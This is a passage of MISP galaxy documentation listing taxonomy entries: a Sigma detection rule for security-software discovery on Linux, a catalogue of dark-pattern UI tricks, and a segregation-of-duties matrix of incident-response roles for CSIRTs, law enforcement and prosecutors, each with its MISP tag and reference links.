</tbody>
</table>

**Security Software Discovery - Linux**

Detects usage of system utilities (only grep and egrep for now) to discover security software discovery.

The tag is: `misp-galaxy:sigma-rules="Security Software Discovery - Linux"`

**View relationships graph**

Security Software Discovery - Linux has relationships with:


**Table 11008. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md</a></td>
</tr>
</tbody>
</table>
Dark Patterns

Dark Patterns are user interface that tricks users into making decisions that benefit the interface’s holder to the expense of the user.

Dark Patterns is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Jean-Louis Huynen

Nagging

Repeated requests to do something the firms prefer

The tag is: misp-galaxy:social-dark-patterns="Nagging"

Table 11009. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dl.acm.org/citation.cfm?id=3174108">https://dl.acm.org/citation.cfm?id=3174108</a></td>
</tr>
</tbody>
</table>

Activity Messages

Misleading notice about other consumers’ actions

The tag is: misp-galaxy:social-dark-patterns="Activity Messages"

Table 11010. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Testimonials

Misleading statements from customers

The tag is: misp-galaxy:social-dark-patterns="Testimonials"

Table 11011. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Roach Motel

Asymmetry between signing up and canceling

The tag is: `misp-galaxy:social-dark-patterns="Roach Motel"`

Table 11012. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dl.acm.org/citation.cfm?id=3174108">https://dl.acm.org/citation.cfm?id=3174108</a></td>
</tr>
</tbody>
</table>

Price Comparison Prevention

Frustrates comparison shopping

The tag is: `misp-galaxy:social-dark-patterns="Price Comparison Prevention"`

Table 11013. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.darkpatterns.org/">https://www.darkpatterns.org/</a></td>
</tr>
<tr>
<td><a href="https://dl.acm.org/citation.cfm?id=3174108">https://dl.acm.org/citation.cfm?id=3174108</a></td>
</tr>
</tbody>
</table>

Intermediate Currency

Purchases in virtual currency to obscure cost

The tag is: `misp-galaxy:social-dark-patterns="Intermediate Currency"`

Table 11014. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.darkpatterns.org/">https://www.darkpatterns.org/</a></td>
</tr>
</tbody>
</table>

Sneak into Basket

Item consumer did not add is in cart
The tag is: misp-galaxy:social-dark-patterns="Sneak into Basket"

Table 11015. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.darkpatterns.org/">https://www.darkpatterns.org/</a></td>
</tr>
<tr>
<td><a href="https://dl.acm.org/citation.cfm?id=3174108">https://dl.acm.org/citation.cfm?id=3174108</a></td>
</tr>
</tbody>
</table>

### Hidden Costs

Costs obscured / disclosed late in transaction

The tag is: misp-galaxy:social-dark-patterns="Hidden Costs"

Table 11016. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.darkpatterns.org/">https://www.darkpatterns.org/</a></td>
</tr>
<tr>
<td><a href="https://dl.acm.org/citation.cfm?id=3174108">https://dl.acm.org/citation.cfm?id=3174108</a></td>
</tr>
</tbody>
</table>

### Hidden subscription / forced continuity

Unanticipated / undesired automatic renewal

The tag is: misp-galaxy:social-dark-patterns="Hidden subscription / forced continuity"

Table 11017. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.darkpatterns.org/">https://www.darkpatterns.org/</a></td>
</tr>
<tr>
<td><a href="https://dl.acm.org/citation.cfm?id=3174108">https://dl.acm.org/citation.cfm?id=3174108</a></td>
</tr>
</tbody>
</table>

### Bait & Switch

Customer sold something other than what's originally advertised

The tag is: misp-galaxy:social-dark-patterns="Bait & Switch"

Table 11018. Table References
Hidden information / aesthetic manipulation / false hierarchy

Important information visually obscured

The tag is: `misp-galaxy:social-dark-patterns="Hidden information / aesthetic manipulation / false hierarchy"`

Table 11019. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Preselection

Firm-friendly default is preselected

The tag is: `misp-galaxy:social-dark-patterns="Preselection"`

Table 11020. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>

Toying with emotion

Emotionally manipulative framing

The tag is: `misp-galaxy:social-dark-patterns="Toying with emotion"`

Table 11021. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dl.acm.org/citation.cfm?id=3174108">https://dl.acm.org/citation.cfm?id=3174108</a></td>
</tr>
</tbody>
</table>
Trick questions

Intentional or obvious ambiguity

The tag is: `misp-galaxy:social-dark-patterns="Trick questions"`

Table 11022. Table References

Links

- https://dl.acm.org/citation.cfm?id=3174108

Disguised Ad

Consumer induced to click on something that isn’t apparent ad

The tag is: `misp-galaxy:social-dark-patterns="Disguised Ad"`

Table 11023. Table References

Links

- https://dl.acm.org/citation.cfm?id=3174108
- https://www.darkpatterns.org/types-of-dark-pattern

Confirmshaming

Choice framed in way that seems dishonest / stupid

The tag is: `misp-galaxy:social-dark-patterns="Confirmshaming"`

Table 11024. Table References

Links

- https://www.darkpatterns.org/types-of-dark-pattern

Forced Registration

Consumer tricked into thinking registration necessary

The tag is: `misp-galaxy:social-dark-patterns="Forced Registration"`

Table 11025. Table References
Low stock / high-demand message

Consumer falsely informed of limited quantities

The tag is: misp-galaxy:social-dark-patterns="Low stock / high-demand message"

Table 11026. Table References

Countdown timer / Limited time message

Opportunity ends soon with blatant false visual cue

The tag is: misp-galaxy:social-dark-patterns="Countdown timer / Limited time message"

Table 11027. Table References

SoD Matrix

SOD Matrix.

SoD Matrix is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Koen Van Impe

Delivering training - CSIRT - [R]

Problem-solving and critical thinking skills
Delivering training - CSIRT - [C]
Problem-solving and critical thinking skills
The tag is: misp-galaxy:sod-matrix="Delivering training - CSIRT - [C]"

Delivering training - CSIRT - [I]
Problem-solving and critical thinking skills
The tag is: misp-galaxy:sod-matrix="Delivering training - CSIRT - [I]"

Delivering training - CSIRT - [S]
Problem-solving and critical thinking skills
The tag is: misp-galaxy:sod-matrix="Delivering training - CSIRT - [S]"

Delivering training - LEA - [R]
Problem-solving and critical thinking skills
The tag is: misp-galaxy:sod-matrix="Delivering training - LEA - [R]"

Delivering training - LEA - [C]
Problem-solving and critical thinking skills
The tag is: misp-galaxy:sod-matrix="Delivering training - LEA - [C]"

Delivering training - LEA - [I]
Problem-solving and critical thinking skills
The tag is: misp-galaxy:sod-matrix="Delivering training - LEA - [I]"

Delivering training - LEA - [S]
Problem-solving and critical thinking skills
The tag is: misp-galaxy:sod-matrix="Delivering training - LEA - [S]"

Delivering training - Judiciary - [R]
Problem-solving and critical thinking skills
Delivering training - Judiciary - [C]
Problem-solving and critical thinking skills

The tag is: misp-galaxy:sod-matrix="Delivering training - Judiciary - [C]"

Delivering training - Judiciary - [I]
Problem-solving and critical thinking skills

The tag is: misp-galaxy:sod-matrix="Delivering training - Judiciary - [I]"

Delivering training - Judiciary - [S]
Problem-solving and critical thinking skills

The tag is: misp-galaxy:sod-matrix="Delivering training - Judiciary - [S]"

Delivering training - Prosecutors - [R]
Problem-solving and critical thinking skills

The tag is: misp-galaxy:sod-matrix="Delivering training - Prosecutors - [R]"

Delivering training - Prosecutors - [C]
Problem-solving and critical thinking skills

The tag is: misp-galaxy:sod-matrix="Delivering training - Prosecutors - [C]"

Delivering training - Prosecutors - [I]
Problem-solving and critical thinking skills

The tag is: misp-galaxy:sod-matrix="Delivering training - Prosecutors - [I]"

Delivering training - Prosecutors - [S]
Problem-solving and critical thinking skills

The tag is: misp-galaxy:sod-matrix="Delivering training - Prosecutors - [S]"

Participating in training - CSIRT - [R]
Problem-solving and critical thinking skills
Participating in training - CSIRT - [C]
Problem-solving and critical thinking skills

Participating in training - CSIRT - [I]
Problem-solving and critical thinking skills

Participating in training - CSIRT - [S]
Problem-solving and critical thinking skills

Participating in training - LEA - [R]
Problem-solving and critical thinking skills

Participating in training - LEA - [C]
Problem-solving and critical thinking skills

Participating in training - LEA - [I]
Problem-solving and critical thinking skills

Participating in training - LEA - [S]
Problem-solving and critical thinking skills

Participating in training - Judiciary - [R]
Problem-solving and critical thinking skills
Participating in training - Judiciary - [C]
Problem-solving and critical thinking skills

Participating in training - Judiciary - [I]
Problem-solving and critical thinking skills

Participating in training - Judiciary - [S]
Problem-solving and critical thinking skills

Participating in training - Prosecutors - [R]
Problem-solving and critical thinking skills

Participating in training - Prosecutors - [C]
Problem-solving and critical thinking skills

Participating in training - Prosecutors - [I]
Problem-solving and critical thinking skills

Participating in training - Prosecutors - [S]
Problem-solving and critical thinking skills

Collecting cyber threat intelligence - CSIRT - [R]
Knowledge of cyber threat intelligence landscape
Collecting cyber threat intelligence - CSIRT - [C]
Knowledge of cyber threat intelligence landscape

Collecting cyber threat intelligence - CSIRT - [I]
Knowledge of cyber threat intelligence landscape

Collecting cyber threat intelligence - CSIRT - [S]
Knowledge of cyber threat intelligence landscape

Collecting cyber threat intelligence - LEA - [R]
Knowledge of cyber threat intelligence landscape

Collecting cyber threat intelligence - LEA - [C]
Knowledge of cyber threat intelligence landscape

Collecting cyber threat intelligence - LEA - [I]
Knowledge of cyber threat intelligence landscape

Collecting cyber threat intelligence - LEA - [S]
Knowledge of cyber threat intelligence landscape

Collecting cyber threat intelligence - Prosecutors - [R]
Knowledge of cyber threat intelligence landscape
Collecting cyber threat intelligence - Prosecutors - [C]
Knowledge of cyber threat intelligence landscape

The tag is: misp-galaxy:sod-matrix="Collecting cyber threat intelligence - Prosecutors - [C]"

Collecting cyber threat intelligence - Prosecutors - [I]
Knowledge of cyber threat intelligence landscape

The tag is: misp-galaxy:sod-matrix="Collecting cyber threat intelligence - Prosecutors - [I]"

Collecting cyber threat intelligence - Prosecutors - [S]
Knowledge of cyber threat intelligence landscape

The tag is: misp-galaxy:sod-matrix="Collecting cyber threat intelligence - Prosecutors - [S]"

Analysis of vulnerabilities and threats - CSIRT - [R]
Development and distribution of tools for preventive and reactive mitigation

The tag is: misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - CSIRT - [R]"

Analysis of vulnerabilities and threats - CSIRT - [C]
Development and distribution of tools for preventive and reactive mitigation

The tag is: misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - CSIRT - [C]"

Analysis of vulnerabilities and threats - CSIRT - [I]
Development and distribution of tools for preventive and reactive mitigation

The tag is: misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - CSIRT - [I]"

Analysis of vulnerabilities and threats - CSIRT - [S]
Development and distribution of tools for preventive and reactive mitigation

The tag is: misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - CSIRT - [S]"

Analysis of vulnerabilities and threats - LEA - [R]
Development and distribution of tools for preventive and reactive mitigation
Analysis of vulnerabilities and threats - LEA - [C]
Development and distribution of tools for preventive and reactive mitigation

The tag is: misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - LEA - [C]"

Analysis of vulnerabilities and threats - LEA - [I]
Development and distribution of tools for preventive and reactive mitigation

The tag is: misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - LEA - [I]"

Analysis of vulnerabilities and threats - LEA - [S]
Development and distribution of tools for preventive and reactive mitigation

The tag is: misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - LEA - [S]"

Analysis of vulnerabilities and threats - Prosecutors - [R]
Development and distribution of tools for preventive and reactive mitigation

The tag is: misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - Prosecutors - [R]"

Analysis of vulnerabilities and threats - Prosecutors - [C]
Development and distribution of tools for preventive and reactive mitigation

The tag is: misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - Prosecutors - [C]"

Analysis of vulnerabilities and threats - Prosecutors - [I]
Development and distribution of tools for preventive and reactive mitigation

The tag is: misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - Prosecutors - [I]"

Analysis of vulnerabilities and threats - Prosecutors - [S]
Development and distribution of tools for preventive and reactive mitigation

The tag is: misp-galaxy:sod-matrix="Analysis of vulnerabilities and threats - Prosecutors - [S]"
Issuing recommendations for new vulnerabilities and threats - CSIRT - [R]

Dealing with specific types of threats and vulnerabilities

The tag is: misp-galaxy:sod-matrix="Issuing recommendations for new vulnerabilities and threats - CSIRT - [R]"

Issuing recommendations for new vulnerabilities and threats - CSIRT - [C]

Dealing with specific types of threats and vulnerabilities

The tag is: misp-galaxy:sod-matrix="Issuing recommendations for new vulnerabilities and threats - CSIRT - [C]"

Issuing recommendations for new vulnerabilities and threats - CSIRT - [I]

Dealing with specific types of threats and vulnerabilities

The tag is: misp-galaxy:sod-matrix="Issuing recommendations for new vulnerabilities and threats - CSIRT - [I]"

Issuing recommendations for new vulnerabilities and threats - CSIRT - [S]

Dealing with specific types of threats and vulnerabilities

The tag is: misp-galaxy:sod-matrix="Issuing recommendations for new vulnerabilities and threats - CSIRT - [S]"

Advising potential victims on preventive measures against cybercrime - CSIRT - [R]

Raising awareness on preventive measures against cybercrime

The tag is: misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - CSIRT - [R]"
Advising potential victims on preventive measures against cybercrime - CSIRT - [C]

Raising awareness on preventive measures against cybercrime

The tag is: `misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - CSIRT - [C]"`

Advising potential victims on preventive measures against cybercrime - CSIRT - [I]

Raising awareness on preventive measures against cybercrime

The tag is: `misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - CSIRT - [I]"`

Advising potential victims on preventive measures against cybercrime - CSIRT - [S]

Raising awareness on preventive measures against cybercrime

The tag is: `misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - CSIRT - [S]"`

Advising potential victims on preventive measures against cybercrime - LEA - [R]

Raising awareness on preventive measures against cybercrime

The tag is: `misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - LEA - [R]"`

Advising potential victims on preventive measures against cybercrime - LEA - [C]

Raising awareness on preventive measures against cybercrime

The tag is: `misp-galaxy:sod-matrix="Advising potential victims on preventive measures against cybercrime - LEA - [C]"`

Advising potential victims on preventive measures against cybercrime - LEA - [I]

Raising awareness on preventive measures against cybercrime
Advising potential victims on preventive measures against cybercrime - LEA - [S]

Raising awareness on preventive measures against cybercrime

Discovery of the cyber security incident/crime - CSIRT - [R]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

Discovery of the cyber security incident/crime - CSIRT - [C]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

Discovery of the cyber security incident/crime - CSIRT - [I]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

Discovery of the cyber security incident/crime - CSIRT - [S]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

Discovery of the cyber security incident/crime - LEA - [R]

Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis
Discovery of the cyber security incident/crime - LEA - [C]
Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

Discovery of the cyber security incident/crime - LEA - [I]
Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

Discovery of the cyber security incident/crime - LEA - [S]
Digital investigations; forensics tools; penetration testing; vulnerability scanning; flow analysis

Identification and classification of the cyber security incident/crime - CSIRT - [R]
Incident and crime classification and identification

Identification and classification of the cyber security incident/crime - CSIRT - [C]
Incident and crime classification and identification

Identification and classification of the cyber security incident/crime - CSIRT - [I]
Incident and crime classification and identification
Identification and classification of the cyber security incident/crime - CSIRT - [S]

Incident and crime classification and identification

The tag is: misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - CSIRT - [S]"

Identification and classification of the cyber security incident/crime - LEA - [R]

Incident and crime classification and identification

The tag is: misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - LEA - [R]"

Identification and classification of the cyber security incident/crime - LEA - [C]

Incident and crime classification and identification

The tag is: misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - LEA - [C]"

Identification and classification of the cyber security incident/crime - LEA - [I]

Incident and crime classification and identification

The tag is: misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - LEA - [I]"

Identification and classification of the cyber security incident/crime - LEA - [S]

Incident and crime classification and identification

The tag is: misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - LEA - [S]"
Identification and classification of the cyber security incident/crime - Prosecutors - [R]

Incident and crime classification and identification

The tag is: misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - Prosecutors - [R]"

Identification and classification of the cyber security incident/crime - Prosecutors - [C]

Incident and crime classification and identification

The tag is: misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - Prosecutors - [C]"

Identification and classification of the cyber security incident/crime - Prosecutors - [I]

Incident and crime classification and identification

The tag is: misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - Prosecutors - [I]"

Identification and classification of the cyber security incident/crime - Prosecutors - [S]

Incident and crime classification and identification

The tag is: misp-galaxy:sod-matrix="Identification and classification of the cyber security incident/crime - Prosecutors - [S]"

Identify the type and severity of the compromise - CSIRT - [R]

Knowledge of cyber threats and incident response procedures

The tag is: misp-galaxy:sod-matrix="Identify the type and severity of the compromise - CSIRT - [R]"

Identify the type and severity of the compromise - CSIRT - [C]

Knowledge of cyber threats and incident response procedures
Identify the type and severity of the compromise - CSIRT - [I]
Knowledge of cyber threats and incident response procedures
The tag is: `misp-galaxy:sod-matrix="Identify the type and severity of the compromise - CSIRT - [I]"

Identify the type and severity of the compromise - CSIRT - [S]
Knowledge of cyber threats and incident response procedures
The tag is: `misp-galaxy:sod-matrix="Identify the type and severity of the compromise - CSIRT - [S]"

Identify the type and severity of the compromise - LEA - [R]
Knowledge of cyber threats and incident response procedures
The tag is: `misp-galaxy:sod-matrix="Identify the type and severity of the compromise - LEA - [R]"

Identify the type and severity of the compromise - LEA - [C]
Knowledge of cyber threats and incident response procedures
The tag is: `misp-galaxy:sod-matrix="Identify the type and severity of the compromise - LEA - [C]"

Identify the type and severity of the compromise - LEA - [I]
Knowledge of cyber threats and incident response procedures
The tag is: `misp-galaxy:sod-matrix="Identify the type and severity of the compromise - LEA - [I]"

Identify the type and severity of the compromise - LEA - [S]
Knowledge of cyber threats and incident response procedures
The tag is: `misp-galaxy:sod-matrix="Identify the type and severity of the compromise - LEA - [S]"
Identify the type and severity of the compromise - Prosecutors - [R]

Knowledge of cyber threats and incident response procedures

The tag is: `misp-galaxy:sod-matrix="Identify the type and severity of the compromise - Prosecutors - [R]"

Identify the type and severity of the compromise - Prosecutors - [C]

Knowledge of cyber threats and incident response procedures

The tag is: `misp-galaxy:sod-matrix="Identify the type and severity of the compromise - Prosecutors - [C]"

Identify the type and severity of the compromise - Prosecutors - [I]

Knowledge of cyber threats and incident response procedures

The tag is: `misp-galaxy:sod-matrix="Identify the type and severity of the compromise - Prosecutors - [I]"

Identify the type and severity of the compromise - Prosecutors - [S]

Knowledge of cyber threats and incident response procedures

The tag is: `misp-galaxy:sod-matrix="Identify the type and severity of the compromise - Prosecutors - [S]"

Evidence collection - CSIRT - [R]

Knowledge of what kind of data to collect; organisation skills

The tag is: `misp-galaxy:sod-matrix="Evidence collection - CSIRT - [R]"

Evidence collection - CSIRT - [C]

Knowledge of what kind of data to collect; organisation skills

The tag is: `misp-galaxy:sod-matrix="Evidence collection - CSIRT - [C]"
Evidence collection - CSIRT - [I]
Knowledge of what kind of data to collect; organisation skills
The tag is: misp-galaxy:sod-matrix="Evidence collection - CSIRT - [I]"

Evidence collection - CSIRT - [S]
Knowledge of what kind of data to collect; organisation skills
The tag is: misp-galaxy:sod-matrix="Evidence collection - CSIRT - [S]"

Evidence collection - LEA - [R]
Knowledge of what kind of data to collect; organisation skills
The tag is: misp-galaxy:sod-matrix="Evidence collection - LEA - [R]"

Evidence collection - LEA - [C]
Knowledge of what kind of data to collect; organisation skills
The tag is: misp-galaxy:sod-matrix="Evidence collection - LEA - [C]"

Evidence collection - LEA - [I]
Knowledge of what kind of data to collect; organisation skills
The tag is: misp-galaxy:sod-matrix="Evidence collection - LEA - [I]"

Evidence collection - LEA - [S]
Knowledge of what kind of data to collect; organisation skills
The tag is: misp-galaxy:sod-matrix="Evidence collection - LEA - [S]"

Evidence collection - Prosecutors - [R]
Knowledge of what kind of data to collect; organisation skills
The tag is: misp-galaxy:sod-matrix="Evidence collection - Prosecutors - [R]"

Evidence collection - Prosecutors - [C]
Knowledge of what kind of data to collect; organisation skills
The tag is: misp-galaxy:sod-matrix="Evidence collection - Prosecutors - [C]"
Evidence collection - Prosecutors - [I]
Knowledge of what kind of data to collect; organisation skills

The tag is: misp-galaxy:sod-matrix="Evidence collection - Prosecutors - [I]"

Evidence collection - Prosecutors - [S]
Knowledge of what kind of data to collect; organisation skills

The tag is: misp-galaxy:sod-matrix="Evidence collection - Prosecutors - [S]"

Providing technical expertise - CSIRT - [R]
Technical skills

The tag is: misp-galaxy:sod-matrix="Providing technical expertise - CSIRT - [R]"

Providing technical expertise - CSIRT - [C]
Technical skills

The tag is: misp-galaxy:sod-matrix="Providing technical expertise - CSIRT - [C]"

Providing technical expertise - CSIRT - [I]
Technical skills

The tag is: misp-galaxy:sod-matrix="Providing technical expertise - CSIRT - [I]"

Providing technical expertise - CSIRT - [S]
Technical skills

The tag is: misp-galaxy:sod-matrix="Providing technical expertise - CSIRT - [S]"

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [R]
Digital investigations; forensics tools;

The tag is: misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [R]"
Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [C]

Digital investigations; forensics tools;

The tag is: misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [C]"

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [I]

Digital investigations; forensics tools;

The tag is: misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [I]"

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [S]

Digital investigations; forensics tools;

The tag is: misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - CSIRT - [S]"

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [R]

Digital investigations; forensics tools;

The tag is: misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [R]"

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [C]

Digital investigations; forensics tools;

The tag is: misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [C]"

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [I]

Digital investigations; forensics tools;
Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - LEA - [S]

Digital investigations; forensics tools;

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [R]

Digital investigations; forensics tools;

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [C]

Digital investigations; forensics tools;

Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [I]

Digital investigations; forensics tools;
Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [S]

Digital investigations; forensics tools;

The tag is: misp-galaxy:sod-matrix="Preserving the evidence that may be crucial for the detection of a crime in a criminal trial - Prosecutors - [S]"

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [R]

Obligations and restriction on information sharing; communication channels

The tag is: misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [R]"

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [C]

Obligations and restriction on information sharing; communication channels

The tag is: misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [C]"

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [I]

Obligations and restriction on information sharing; communication channels

The tag is: misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [I]"

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [S]

Obligations and restriction on information sharing; communication channels

The tag is: misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - CSIRT - [S]"
Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [R]

Obligations and restriction on information sharing; communication channels

The tag is: misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [R]"

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [C]

Obligations and restriction on information sharing; communication channels

The tag is: misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [C]"

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [I]

Obligations and restriction on information sharing; communication channels

The tag is: misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [I]"

Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [S]

Obligations and restriction on information sharing; communication channels

The tag is: misp-galaxy:sod-matrix="Advising the victim to report / obligation to report a cybercrime to law enforcement (LE) - Prosecutors - [S]"

Duty to inform the victim of a cybercrime - CSIRT - [R]

Obligations and restrictions to the information sharing

The tag is: misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - CSIRT - [R]"

Duty to inform the victim of a cybercrime - CSIRT - [C]

Obligations and restrictions to the information sharing

The tag is: misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - CSIRT - [C]"
Duty to inform the victim of a cybercrime - CSIRT - [I]

Obligations and restrictions to the information sharing

The tag is: misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - CSIRT - [I]"

Duty to inform the victim of a cybercrime - CSIRT - [S]

Obligations and restrictions to the information sharing

The tag is: misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - CSIRT - [S]"

Duty to inform the victim of a cybercrime - LEA - [R]

Obligations and restrictions to the information sharing

The tag is: misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - LEA - [R]"

Duty to inform the victim of a cybercrime - LEA - [C]

Obligations and restrictions to the information sharing

The tag is: misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - LEA - [C]"

Duty to inform the victim of a cybercrime - LEA - [I]

Obligations and restrictions to the information sharing

The tag is: misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - LEA - [I]"

Duty to inform the victim of a cybercrime - LEA - [S]

Obligations and restrictions to the information sharing

The tag is: misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - LEA - [S]"

Duty to inform the victim of a cybercrime - Prosecutors - [R]

Obligations and restrictions to the information sharing

The tag is: misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - Prosecutors - [R]"
Duty to inform the victim of a cybercrime - Prosecutors - [C]

Obligations and restrictions to the information sharing

The tag is: misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - Prosecutors - [C]"

Duty to inform the victim of a cybercrime - Prosecutors - [I]

Obligations and restrictions to the information sharing

The tag is: misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - Prosecutors - [I]"

Duty to inform the victim of a cybercrime - Prosecutors - [S]

Obligations and restrictions to the information sharing

The tag is: misp-galaxy:sod-matrix="Duty to inform the victim of a cybercrime - Prosecutors - [S]"

Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [R]

Obligations and rules for information sharing among communities

The tag is: misp-galaxy:sod-matrix="Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [R]"

Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [C]

Obligations and rules for information sharing among communities

The tag is: misp-galaxy:sod-matrix="Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [C]"
Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [I]

Obligations and rules for information sharing among communities

The tag is: misp-galaxy:sod-matrix="Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [I]"

Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [S]

Obligations and rules for information sharing among communities

The tag is: misp-galaxy:sod-matrix="Duty to inform other stakeholders/authorities (operators of vulnerable systems, data protection authorities, telecommunications authorities, etc.) - CSIRT - [S]"

Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [R]

Communication skills; communication channel

The tag is: misp-galaxy:sod-matrix="Acting as a single point of contact (PoC) for any communication with other EU Member States for the incident handling - CSIRT - [R]"

